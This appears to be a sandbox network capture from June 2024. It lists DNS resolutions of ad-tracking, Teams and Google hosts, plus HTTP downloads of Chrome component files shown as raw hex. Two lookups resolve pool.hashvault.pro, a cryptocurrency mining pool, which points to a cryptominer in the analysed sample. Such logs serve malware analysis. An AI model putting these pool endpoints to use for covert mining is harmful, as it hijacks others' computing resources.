Jun 15, 2024 11:15:17.679280043 CEST	1.1.1.1	192.168.2.16	0x517b	No error (0)	x.bidswitch.net	user-data-eu.bidswitch.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:15:21.453466892 CEST	1.1.1.1	192.168.2.16	0x7d06	No error (0)	c1.adform.net	track.adformnet.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:15:21.453578949 CEST	1.1.1.1	192.168.2.16	0x77ff	No error (0)	c1.adform.net	track.adformnet.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:15:24.961663961 CEST	1.1.1.1	192.168.2.16	0xb6f8	No error (0)	ps.eyeota.net		52.57.150.20	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:28.467061043 CEST	1.1.1.1	192.168.2.16	0xf300	No error (0)	uipglob.semasio.net	uipglob.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:15:28.467061043 CEST	1.1.1.1	192.168.2.16	0xf300	No error (0)	uip.semasio.net		77.243.51.122	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:28.467061043 CEST	1.1.1.1	192.168.2.16	0xf300	No error (0)	uip.semasio.net		77.243.51.121	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:15:28.469193935 CEST	1.1.1.1	192.168.2.16	0x330e	No error (0)	uipglob.semasio.net	uipglob.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:15:29.581600904 CEST	1.1.1.1	192.168.2.16	0x4006	No error (0)	uipus.semasio.net		50.57.31.206	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:04.677328110 CEST	1.1.1.1	192.168.2.16	0x9cfd	No error (0)	csync.smartadserver.com	csync.smartadserver.com.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:16:04.677975893 CEST	1.1.1.1	192.168.2.16	0x5bd4	No error (0)	csync.smartadserver.com	csync.smartadserver.com.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:16:05.804193974 CEST	1.1.1.1	192.168.2.16	0xc234	No error (0)	ced-ns.sascdn.com	cdn-ns.cdn-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:16:05.804301023 CEST	1.1.1.1	192.168.2.16	0x8878	No error (0)	ced-ns.sascdn.com	cdn-ns.cdn-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:16:07.905896902 CEST	1.1.1.1	192.168.2.16	0xd23a	No error (0)	cxcs.microsoft.net	cxcs.microsoft.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:16:08.504708052 CEST	1.1.1.1	192.168.2.16	0xc5b1	No error (0)	id5-sync.com		141.95.33.120	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:08.504708052 CEST	1.1.1.1	192.168.2.16	0xc5b1	No error (0)	id5-sync.com		141.95.98.64	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:08.504708052 CEST	1.1.1.1	192.168.2.16	0xc5b1	No error (0)	id5-sync.com		162.19.138.118	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:08.504708052 CEST	1.1.1.1	192.168.2.16	0xc5b1	No error (0)	id5-sync.com		141.95.98.65	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:08.504708052 CEST	1.1.1.1	192.168.2.16	0xc5b1	No error (0)	id5-sync.com		162.19.138.117	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:08.504708052 CEST	1.1.1.1	192.168.2.16	0xc5b1	No error (0)	id5-sync.com		162.19.138.119	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:08.504708052 CEST	1.1.1.1	192.168.2.16	0xc5b1	No error (0)	id5-sync.com		162.19.138.83	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:08.504708052 CEST	1.1.1.1	192.168.2.16	0xc5b1	No error (0)	id5-sync.com		162.19.138.82	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:08.504708052 CEST	1.1.1.1	192.168.2.16	0xc5b1	No error (0)	id5-sync.com		162.19.138.120	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:08.504708052 CEST	1.1.1.1	192.168.2.16	0xc5b1	No error (0)	id5-sync.com		162.19.138.116	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:09.597045898 CEST	1.1.1.1	192.168.2.16	0x742f	No error (0)	uipglob.semasio.net	uipglob.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:16:09.597110987 CEST	1.1.1.1	192.168.2.16	0x47af	No error (0)	uipglob.semasio.net	uipglob.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:16:09.597110987 CEST	1.1.1.1	192.168.2.16	0x47af	No error (0)	uip.semasio.net		77.243.51.121	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:09.597110987 CEST	1.1.1.1	192.168.2.16	0x47af	No error (0)	uip.semasio.net		77.243.51.122	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:10.720561028 CEST	1.1.1.1	192.168.2.16	0x4f29	No error (0)	uipus.semasio.net		50.57.31.206	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:12.614748001 CEST	1.1.1.1	192.168.2.16	0xe2a0	No error (0)	pm.w55c.net	cdn.w55c.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:16:12.614748001 CEST	1.1.1.1	192.168.2.16	0xe2a0	No error (0)	cdn.w55c.net		3.121.173.151	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:12.614748001 CEST	1.1.1.1	192.168.2.16	0xe2a0	No error (0)	cdn.w55c.net		35.158.190.166	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:12.614748001 CEST	1.1.1.1	192.168.2.16	0xe2a0	No error (0)	cdn.w55c.net		52.58.66.124	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:12.614748001 CEST	1.1.1.1	192.168.2.16	0xe2a0	No error (0)	cdn.w55c.net		35.157.72.67	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:12.614748001 CEST	1.1.1.1	192.168.2.16	0xe2a0	No error (0)	cdn.w55c.net		3.69.64.64	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:12.614748001 CEST	1.1.1.1	192.168.2.16	0xe2a0	No error (0)	cdn.w55c.net		52.59.124.139	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:12.615878105 CEST	1.1.1.1	192.168.2.16	0xdcf8	No error (0)	pm.w55c.net	cdn.w55c.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:16:13.975270987 CEST	1.1.1.1	192.168.2.16	0x7239	No error (0)	teams-ring.teams-9999.teams-msedge.net	teams-9999.teams-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:16:13.975270987 CEST	1.1.1.1	192.168.2.16	0x7239	No error (0)	teams-9999.teams-msedge.net		52.113.196.254	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:38.473469973 CEST	1.1.1.1	192.168.2.16	0x359b	No error (0)	teams-ring.teams-9999.teams-msedge.net	teams-9999.teams-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:16:38.473469973 CEST	1.1.1.1	192.168.2.16	0x359b	No error (0)	teams-9999.teams-msedge.net		52.113.196.254	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:38.473588943 CEST	1.1.1.1	192.168.2.16	0x4965	No error (0)	dl.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:55.138335943 CEST	1.1.1.1	192.168.2.16	0x1926	No error (0)	pool.hashvault.pro		45.76.89.70	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:55.138335943 CEST	1.1.1.1	192.168.2.16	0x1926	No error (0)	pool.hashvault.pro		95.179.241.203	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:55.397425890 CEST	1.1.1.1	192.168.2.16	0xfa60	No error (0)	ww1097.smartadserver.com	geo-global-secure.delivery-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:16:55.397425890 CEST	1.1.1.1	192.168.2.16	0xfa60	No error (0)	euw2.smartadserver.com		178.32.210.227	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:55.397425890 CEST	1.1.1.1	192.168.2.16	0xfa60	No error (0)	euw2.smartadserver.com		5.196.111.65	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:55.397425890 CEST	1.1.1.1	192.168.2.16	0xfa60	No error (0)	euw2.smartadserver.com		51.178.195.208	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:55.397425890 CEST	1.1.1.1	192.168.2.16	0xfa60	No error (0)	euw2.smartadserver.com		91.134.110.129	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:55.397425890 CEST	1.1.1.1	192.168.2.16	0xfa60	No error (0)	euw2.smartadserver.com		5.135.209.96	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:55.397425890 CEST	1.1.1.1	192.168.2.16	0xfa60	No error (0)	euw2.smartadserver.com		5.196.111.64	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:55.397425890 CEST	1.1.1.1	192.168.2.16	0xfa60	No error (0)	euw2.smartadserver.com		149.202.238.97	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:55.397425890 CEST	1.1.1.1	192.168.2.16	0xfa60	No error (0)	euw2.smartadserver.com		217.182.178.224	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:55.397425890 CEST	1.1.1.1	192.168.2.16	0xfa60	No error (0)	euw2.smartadserver.com		164.132.25.177	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:55.397425890 CEST	1.1.1.1	192.168.2.16	0xfa60	No error (0)	euw2.smartadserver.com		178.32.197.48	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:55.397425890 CEST	1.1.1.1	192.168.2.16	0xfa60	No error (0)	euw2.smartadserver.com		51.178.195.209	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:55.397425890 CEST	1.1.1.1	192.168.2.16	0xfa60	No error (0)	euw2.smartadserver.com		178.32.210.226	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:55.397425890 CEST	1.1.1.1	192.168.2.16	0xfa60	No error (0)	euw2.smartadserver.com		164.132.25.176	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:55.397425890 CEST	1.1.1.1	192.168.2.16	0xfa60	No error (0)	euw2.smartadserver.com		217.182.178.225	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:55.397425890 CEST	1.1.1.1	192.168.2.16	0xfa60	No error (0)	euw2.smartadserver.com		178.32.197.49	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:55.397425890 CEST	1.1.1.1	192.168.2.16	0xfa60	No error (0)	euw2.smartadserver.com		149.202.238.96	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:55.397425890 CEST	1.1.1.1	192.168.2.16	0xfa60	No error (0)	euw2.smartadserver.com		91.134.110.128	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:55.397425890 CEST	1.1.1.1	192.168.2.16	0xfa60	No error (0)	euw2.smartadserver.com		5.135.209.97	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:55.418844938 CEST	1.1.1.1	192.168.2.16	0xf3c5	No error (0)	ww1097.smartadserver.com	geo-global-secure.delivery-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:16:58.078754902 CEST	1.1.1.1	192.168.2.16	0x50c0	No error (0)	ww1097.smartadserver.com	geo-global-secure.delivery-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:16:58.078754902 CEST	1.1.1.1	192.168.2.16	0x50c0	No error (0)	euw1.smartadserver.com		89.149.192.240	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:58.078754902 CEST	1.1.1.1	192.168.2.16	0x50c0	No error (0)	euw1.smartadserver.com		81.17.55.98	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:58.078754902 CEST	1.1.1.1	192.168.2.16	0x50c0	No error (0)	euw1.smartadserver.com		89.149.192.65	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:58.078754902 CEST	1.1.1.1	192.168.2.16	0x50c0	No error (0)	euw1.smartadserver.com		89.149.193.113	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:58.078754902 CEST	1.1.1.1	192.168.2.16	0x50c0	No error (0)	euw1.smartadserver.com		89.149.193.97	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:58.078754902 CEST	1.1.1.1	192.168.2.16	0x50c0	No error (0)	euw1.smartadserver.com		89.149.193.80	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:58.078754902 CEST	1.1.1.1	192.168.2.16	0x50c0	No error (0)	euw1.smartadserver.com		89.149.192.193	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:58.078754902 CEST	1.1.1.1	192.168.2.16	0x50c0	No error (0)	euw1.smartadserver.com		89.149.192.64	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:58.078754902 CEST	1.1.1.1	192.168.2.16	0x50c0	No error (0)	euw1.smartadserver.com		81.17.55.161	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:58.078754902 CEST	1.1.1.1	192.168.2.16	0x50c0	No error (0)	euw1.smartadserver.com		89.149.192.192	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:58.078754902 CEST	1.1.1.1	192.168.2.16	0x50c0	No error (0)	euw1.smartadserver.com		89.149.193.112	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:58.078754902 CEST	1.1.1.1	192.168.2.16	0x50c0	No error (0)	euw1.smartadserver.com		89.149.193.96	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:58.078754902 CEST	1.1.1.1	192.168.2.16	0x50c0	No error (0)	euw1.smartadserver.com		81.17.55.112	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:58.078754902 CEST	1.1.1.1	192.168.2.16	0x50c0	No error (0)	euw1.smartadserver.com		81.17.55.113	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:58.078754902 CEST	1.1.1.1	192.168.2.16	0x50c0	No error (0)	euw1.smartadserver.com		89.149.193.81	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:58.078754902 CEST	1.1.1.1	192.168.2.16	0x50c0	No error (0)	euw1.smartadserver.com		81.17.55.160	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:58.078754902 CEST	1.1.1.1	192.168.2.16	0x50c0	No error (0)	euw1.smartadserver.com		89.149.192.241	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:58.078754902 CEST	1.1.1.1	192.168.2.16	0x50c0	No error (0)	euw1.smartadserver.com		81.17.55.99	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:58.086559057 CEST	1.1.1.1	192.168.2.16	0xaefd	No error (0)	ww1097.smartadserver.com	geo-global-secure.delivery-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:17:12.035182953 CEST	1.1.1.1	192.168.2.16	0xe92a	No error (0)	pool.hashvault.pro		45.76.89.70	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:17:12.035182953 CEST	1.1.1.1	192.168.2.16	0xe92a	No error (0)	pool.hashvault.pro		95.179.241.203	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49995	142.250.181.238	80	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Jun 15, 2024 11:16:38.480860949 CEST	365	OUT	GET /release2/chrome_component/imoffpf67hel7kbknqflao2oo4_1.0.2738.0/neifaoindggfcjicffkgpmnlppeffabd_1.0.2738.0_win64_kj4dp5kifwxbdodqls7e5nzhtm.crx3 HTTP/1.1 Host: dl.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate
Jun 15, 2024 11:16:39.320997000 CEST	1236	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Disposition: attachment Content-Security-Policy: default-src 'none' Server: downloads X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Xss-Protection: 0 Date: Sat, 15 Jun 2024 09:16:39 GMT Cache-Control: public,max-age=86400 Last-Modified: Tue, 03 Oct 2023 20:01:00 GMT ETag: "1cc28b1" Content-Type: application/octet-stream Content-Length: 1181927 Age: 0 Data Raw: 43 72 32 34 03 00 00 00 1e 07 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 8f fb bf 5c 37 63 94 3c b0 ee 01 c4 b5 a6 9a b1 9f 46 74 6f 16 38 a0 32 27 35 dd f0 71 6b 0e dc f6 25 cb b2 ed ea fb 32 d5 af 1e 03 43 03 46 f0 a7 39 db 23 96 1d 65 e5 78 51 f0 84 b0 0e 12 ac 0e 5b dc c9 d6 4c 7c 00 d5 b8 1b 88 33 3e 2f da eb aa f7 1a 75 c2 ae 3a 54 de 37 8f 10 d2 28 e6 84 79 4d 15 b4 f3 bd 3f 56 d3 3c 3f 18 ab fc 2e 05 c0 1e 08 31 b6 61 d0 fd 9f 4f 3f 64 0d 17 93 bc ad 41 c7 48 be 00 27 a8 4d 70 42 92 05 54 a6 6d b8 de 56 6e 20 49 70 ee 10 3e 6b d2 7c 31 bd 1b 6e a4 3c 46 62 9f 08 66 93 f9 2a 51 31 a8 db b5 9d b9 0f 73 e8 a0 09 32 01 e9 7b 2a 8a 36 a0 cf 17 b0 50 70 9d a2 f9 a4 6f 62 4d b6 c9 31 fc f3 08 12 ff 93 bd 62 31 d8 1c ea 1a 9e f5 81 28 7f 75 5e d2 27 7a c2 96 f5 9d db 18 fc 76 dc 46 f0 57 c0 58 34 c8 22 2d 2a 65 75 a7 d9 08 62 cd 02 03 01 00 01 12 80 02 52 a3 d8 80 a5 f0 48 e7 34 17 3e 99 d2 67 67 02 6e 36 3a 80 c2 06 64 [TRUNCATED] Data Ascii: Cr240"0H0\7c<Fto82'5qk%2CF9#exQ[L\|3>/u:T7(yM?V<?.1aO?dAH'MpBTmVn Ip>k\|1n<FbfQ1s2{6PpobM1b1(u^'zvFWX4"-eubRH4>ggn6:d1<XR&V5do\%r'yW}Gk!r7k@n^[&^>Su^"aZ>m~u+O3$sABo)4W3vp^'OFfu(o)fYu\\`zcBBbvwc4r/d\|&@WkW@0"0H0,v@]<nmRI~oK+B/$)EPH/}$]mYP&/Q@7`$M(-!m*HkPE%(DvnlSd$\|K5k?XG0
Jun 15, 2024 11:16:39.321048975 CEST	1236	IN	Data Raw: e0 92 cc fc 20 83 6d e9 da dc 63 33 4f cc 8f 1b 95 bd 06 8b 12 78 6d c6 78 2c f9 44 84 64 75 47 e1 07 46 2b ea 89 bb fd 20 51 21 b3 4e 4a 54 10 c1 26 8d ae 79 01 93 4c 48 6e 67 fa 27 b0 5b b2 8c c6 b7 5f 69 b7 50 74 ea 07 b5 2e 1a c2 d0 f3 e9 be Data Ascii: mc3Oxmx,DduGF+ Q!NJT&yLHng'[_iPt.w:q/JR1N]b_]y4f@x\Bh8b0{pi(N=@VSo\|d;jKxA+Q@6HooW%9Z[{0SB8hm
Jun 15, 2024 11:16:39.321083069 CEST	1236	IN	Data Raw: 17 2e 5a 6e 28 5d e6 2c 59 36 67 89 61 de 9c a5 4b 9d 2b 0c 73 17 18 96 bd b8 d4 b0 68 a9 c1 3a 69 8a 61 89 73 fe 82 07 8d 1c 57 90 cf 71 f3 5f 4b e7 f4 7f 2d 9e 2f c3 8b 70 77 1b 06 a4 0c e2 b8 7a 13 c7 05 52 a8 4e 6f b9 17 0e 54 ac d0 50 05 fc Data Ascii: .Zn(],Y6gaK+sh:iasWq_K-/pwzRNoTP>/M#R"I>%^~68W+F"P8?/ag\^YT-L\&Z_:~:^XP??bb!q@Y1^hsvf k,Fq"y,eG
Jun 15, 2024 11:16:39.321115017 CEST	1236	IN	Data Raw: ed 88 0f ce dd 84 ae 38 1f 1c 14 61 c3 d2 ae 78 2b 3c a4 51 59 e1 77 14 2b ac 8e b1 c2 63 8a 15 72 1a b5 15 de ad 91 ad 70 06 94 ac bc 7e 7c 11 18 13 d9 e1 ff 5c 51 88 96 29 be 79 72 89 d2 10 ae 41 93 da e7 89 24 f6 79 b2 56 c2 16 d2 68 e2 2c 20 Data Ascii: 8ax+<QYw+crp~\|\Q)yrA$yVh, @K!.Hk~CBp1=B\|;r~YkM564s\]c+~Z\}STuS!\|=8MX{*OG,\|ogt B8
Jun 15, 2024 11:16:39.321151018 CEST	848	IN	Data Raw: 93 1c ca 54 b2 b3 89 42 1a bc 66 a1 8d 89 42 1b 8b 12 e2 98 9e dc 08 17 e3 20 ce 31 4d d9 8c 25 08 76 4c cf bc 83 25 88 78 4c f3 b6 61 09 c2 1e d3 f3 d5 58 82 d8 c7 b4 bc 1e 4b 10 00 99 5e 09 62 29 48 11 21 06 83 14 06 52 00 88 07 33 1e 0a f0 50 Data Ascii: TBfB 1M%vL%xLaXK^b)H!R3PRNaAsX4^)LHO{Y>O/Z/E\|a="2h0f_=B+uXV(geA wUJx brPJ<o.,`dgbd
Jun 15, 2024 11:16:39.321186066 CEST	1236	IN	Data Raw: 90 d3 61 14 21 64 c8 79 3d a4 ef 26 73 82 18 a9 01 0d 87 42 75 aa a8 0f b9 09 ee 0c 44 49 ac 8b 92 08 43 06 89 43 b9 84 b6 48 7d 90 d7 e0 4b a7 a2 ed 0f f7 c4 12 ef ac 43 66 a0 b7 21 34 57 35 df 99 2e 05 c7 37 45 fb 7f 70 73 22 e1 9d 87 25 61 e4 Data Ascii: a!dy=&sBuDICCH}KCf!4W5.7Eps"%aWM<VFCXB=Q\)G%E(9-U=fp!9BE"\|z)"1+XdbbV`Kinn^30N{GZ\|d
Jun 15, 2024 11:16:39.321221113 CEST	1236	IN	Data Raw: d0 c5 c6 fb 39 8c cf 39 18 c9 e6 1f 59 66 5b 9e b3 3c 6b 99 f5 ec 33 b3 9f 6b dd be 37 c9 3f 9b 58 6b f9 13 c6 76 ae 75 18 9e e3 f2 04 9c 82 73 e8 10 3d 3a 9f 93 d5 98 a1 ca 06 df 54 ab 85 5b 0d 5e 74 67 30 53 3a fb 68 f5 6c ae 85 9a f0 61 5b a5 Data Ascii: 99Yf[<k3k7?Xkvus=:T[^tg0S:hla[c>Rte#\|Tx`;e`^b.3\|HV]'ir!CyQ*W2,QB(ad7[8v1c&I(wQbYh=6
Jun 15, 2024 11:16:39.321254015 CEST	1236	IN	Data Raw: 81 96 d0 43 d1 1e d2 8c df 19 9c d2 4e 59 1a 0c f7 3b e2 fa d4 43 1f 4c 34 e5 7c ae 92 bd 19 f9 a2 68 31 ab 5d f8 b7 97 2c 0b 82 56 6b 71 63 45 57 b0 8f 26 ba e0 79 64 06 56 76 78 35 14 d0 dc c3 6c ee 6b c1 2f 5e 20 81 ed 04 a7 dd 25 49 b9 32 a4 Data Ascii: CNY;CL4\|h1],VkqcEW&ydVvx5lk/^ %I2 m[N`bhy-ivh\|"BLjCeZ\]xae7o=S<>c<\|=ssU(VY~~4]AS\Oow6
Jun 15, 2024 11:16:39.321289062 CEST	1236	IN	Data Raw: 31 00 e9 7d c1 04 98 9e 64 30 6b 92 c1 0c 24 83 19 49 06 93 d3 24 81 a9 d7 24 81 69 d0 24 81 99 43 95 5d c7 4a 14 80 66 aa 91 00 15 68 48 ac 0d 56 23 6e 51 6a b0 1b 71 47 4f c3 54 63 11 41 2c 92 ee ce c2 37 24 ce 55 c1 df 1e 14 ff 7c 63 05 9e 16 Data Ascii: 1}d0k$I$$i$C]JfhHV#nQjqGOTcA,7$U\|ci<ed=9IIj`OOJe<^^ 8(rS(SXpM_Q~{&:4pN<#],l
Jun 15, 2024 11:16:39.321326017 CEST	1236	IN	Data Raw: 69 6c 3c d6 e2 a1 09 b7 eb 93 14 dd 80 21 f8 df ed 20 88 5e 07 61 36 f7 d7 0d 38 95 91 46 56 3c 18 98 e0 7e d5 9e 07 50 1f 0c 0a ee 57 1f 0a 08 ae 59 0f 82 07 dd 69 eb f8 10 e7 38 b1 1e cc d1 2e 4e 7d 28 88 15 68 77 f5 64 5a e2 ac 87 22 68 70 d0 Data Ascii: il<! ^a68FV<~PWYi8.N}(hwdZ"hpMQQK+4Mx(\|ghMk lu\k X8'jp(^K%C#Y^z\|hCDZ @)f]0^2dM9rO+"VXu&hl
Jun 15, 2024 11:16:39.326633930 CEST	1236	IN	Data Raw: 53 3d be 53 5e 6c e7 f3 da 83 74 bc 84 2d 33 a8 d8 d9 ea 80 e3 21 ac 98 a9 a3 9a 1a aa 69 c4 9a 39 7a 1c 41 e0 7d a6 04 e8 56 3d dd 3a 83 b7 5e 86 51 b0 db 2e 3e c3 00 06 5a f1 78 0d 57 39 76 71 5e 24 e6 7b 18 74 c7 d7 f4 ab f6 be c5 d8 fb 03 a4 Data Ascii: S=S^lt-3!i9zA}V=:^Q.>ZxW9vq^${t}%CUkAz7hV$G'zF;a#>z9:[FXpK3!0SyR7}w;UNZ:i0\|H%!0'EsY2o

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.16	50002	142.250.181.238	80

Timestamp	Bytes transferred	Direction	Data
Jun 15, 2024 11:17:12.035784960 CEST	366	OUT	GET /release2/chrome_component/kkkxrb65stynv7pcqbppuocw44_2024.6.5.0/gonpemdgkjcecdgbnaabipppbmgfggbe_2024.06.05.00_all_lqepr5dqnivxhxcinrlckqnwo4.crx3 HTTP/1.1 Host: dl.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate
Jun 15, 2024 11:17:12.875164032 CEST	1236	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Disposition: attachment Content-Security-Policy: default-src 'none' Server: downloads X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Xss-Protection: 0 Date: Sat, 15 Jun 2024 09:17:12 GMT Cache-Control: public,max-age=86400 Age: 0 Last-Modified: Wed, 05 Jun 2024 15:30:38 GMT ETag: "2ab75c3" Content-Type: application/octet-stream Content-Length: 6999 Data Raw: 43 72 32 34 03 00 00 00 1d 07 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 8f fb bf 5c 37 63 94 3c b0 ee 01 c4 b5 a6 9a b1 9f 46 74 6f 16 38 a0 32 27 35 dd f0 71 6b 0e dc f6 25 cb b2 ed ea fb 32 d5 af 1e 03 43 03 46 f0 a7 39 db 23 96 1d 65 e5 78 51 f0 84 b0 0e 12 ac 0e 5b dc c9 d6 4c 7c 00 d5 b8 1b 88 33 3e 2f da eb aa f7 1a 75 c2 ae 3a 54 de 37 8f 10 d2 28 e6 84 79 4d 15 b4 f3 bd 3f 56 d3 3c 3f 18 ab fc 2e 05 c0 1e 08 31 b6 61 d0 fd 9f 4f 3f 64 0d 17 93 bc ad 41 c7 48 be 00 27 a8 4d 70 42 92 05 54 a6 6d b8 de 56 6e 20 49 70 ee 10 3e 6b d2 7c 31 bd 1b 6e a4 3c 46 62 9f 08 66 93 f9 2a 51 31 a8 db b5 9d b9 0f 73 e8 a0 09 32 01 e9 7b 2a 8a 36 a0 cf 17 b0 50 70 9d a2 f9 a4 6f 62 4d b6 c9 31 fc f3 08 12 ff 93 bd 62 31 d8 1c ea 1a 9e f5 81 28 7f 75 5e d2 27 7a c2 96 f5 9d db 18 fc 76 dc 46 f0 57 c0 58 34 c8 22 2d 2a 65 75 a7 d9 08 62 cd 02 03 01 00 01 12 80 02 2e b6 fd 8f 29 b4 e5 e8 79 cf 0c 63 bd 92 cd 00 b2 25 60 86 3f 2b 82 [TRUNCATED] Data Ascii: Cr240"0H0\7c<Fto82'5qk%2CF9#exQ[L\|3>/u:T7(yM?V<?.1aO?dAH'MpBTmVn Ip>k\|1n<FbfQ1s2{6PpobM1b1(u^'zvFWX4"-eub.)yc%`?+J7H69{C:sQ\$7nC@MT]$j#B=Js^{[">7w~k\\|~(qQT>g1RJ.n;eQD5OgjA?)5bQE5`G}_c3YAp_!:x#o-o\Z0"0H0bi] ,7T#}LJMh!ZYD^j1BaRBllk}>#eQygarYj5mZAR<EEq/Y!3;'mL{O"M,t}}\|BjPk+M{;
Jun 15, 2024 11:17:12.875195980 CEST	164	IN	Data Raw: 45 a4 69 d0 87 1f fe 27 8c 02 c3 e5 6b 5e 5d 38 d8 49 15 fe 9d 73 dd f3 5e cb d5 b7 18 65 01 76 d1 c8 0b 05 c3 9a a3 42 56 da 47 6b 30 fd e4 df dc f4 b8 48 82 e9 18 d3 af eb 42 c5 3d 90 5d b6 ce be 60 1e 63 89 eb 70 34 82 9c 1e c6 ac 6a 11 1b d2 Data Ascii: Ei'k^]8Is^evBVGk0HB=]`cp4j7eN(]a:,:X_6[h<~.ybT1N+S/
